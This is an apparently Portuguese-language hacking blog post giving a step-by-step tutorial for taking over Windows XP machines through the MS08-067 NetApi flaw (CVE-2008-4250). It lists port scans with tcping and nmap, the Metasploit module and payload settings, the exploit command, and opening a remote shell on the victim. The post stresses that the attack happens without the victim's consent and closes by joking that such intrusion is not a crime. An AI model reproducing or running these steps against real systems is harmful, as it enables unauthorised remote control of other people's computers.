segunda-feira, 28 de maio de 2012

Invadindo Windows XP com falha no NetApi

E agora, continuando minha jornada contra a Micro$oft, vamos explorar uma falha no Server Service (NetApi) que afeta desde o Windows 2000, passando pelo XP, Vista (...) e chegando no Server 2008.
Para ver detalhes sobre a falha no enorme boletim de segurança da Microshit, clique aqui.
Segundo o próprio boletim, "nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário." Em outras palavras, trata-se de um RComE (Remote Command Execution).
"Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008." Só lamento...
Lembrando que atualizar o sistema pode corrigir a vulnerabilidade. O problema é que 'usuários comuns' geralmente não atualizam. <s>Eu mesmo estou com kernel 2.6.32 até hoje.</s>

A falha em si
CVE-2008-4250. O serviço Servidor não manipula corretamente as solicitações de RPC, fazendo com que um invasor possa assumir total controle do sistema.
RPC (Remote Procedure Call/Chamada de Procedimento Remoto) é um serviço de computação distribuída que permite que um programa chame um procedimento em outro computador da rede. O aplicativo envia o sinal ao servidor, que devolve o retorno.

O NetApi (serviço Servidor) suporta impressão e compartilhamento de arquivos, discos e impressoras.
A manipulação pobre desses pacotes pode levar à uma execução de códigos DOS com privilégios totais.

Explorando
Uma versão atualizada do Metasploit já possui o exploit. Com o número CVE, dado acima, é possível encontrá-lo de forma separada no próprio site do Metasploit.
É uma exploração simples e rápida, que ocorre sem o consentimento da vítima. Neste exemplo, vamos usar o payload bind_tcp (meterpreter).

Abra o terminal e vamos verificar se conseguimos acessar a porta 445 do alvo.
Se você estiver com pressa, vale rodar TCPing nas portas 445 e 139, usadas pelo NetApi.

Código:

$ tcping ip.do.al.vo 445
Se você ver a seguinte mensagem:

Código:
ip.do.alvo port 445 open.
Você vai poder continuar o tutorial.
Com mais calma, execute um Nmap:

Código:
# nmap -sS -p139,445 -O ip.do.al.vo
Com isso veremos se as nossas queridas portas estão abertas, e também teremos o sistema operacional do alvo. Verifique se ele está na lista divulgada no Boletim de Segurança da Microsoft (link acima).

Abra a linha de comando do Metasploit:

Código:
# msfconsole
Agora, vamos 'usar' o exploit:

Código:
> use windows/smb/ms08_067_netapi
As opções também são poucas. Com um 'show options' você pode vê-las. Vamos setá-las:

Código:
> set rhost ip.do.al.vo
Setamos o endereço IP do alvo, seguido do payload (usamos o bind_tcp apenas como exemplo):

Código:
> set payload windows/meterpreter/bind_tcp
Se for usar remote_tcp, será necessário setar também LHOST (seu IP) e LPORT (uma porta para ser aberta).

Agora, o golpe final:

Código:
> exploit
Você verá o 'Started bind handler' seguida de várias mensagens de log.
Caso tudo ocorra bem, o que é provável, você pode digitar 'help' para ver o que é possível fazer. Por exemplo:

Código:
> shell
Você verá o MS-DOS do usuário na sua frente. A partir daqui, você assume sua responsabilidade.

Até a próxima!

Nova lei: Invadir computadores protegidos é crime.
Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

Creditos : White Collar

Nenhum comentário:

Postar um comentário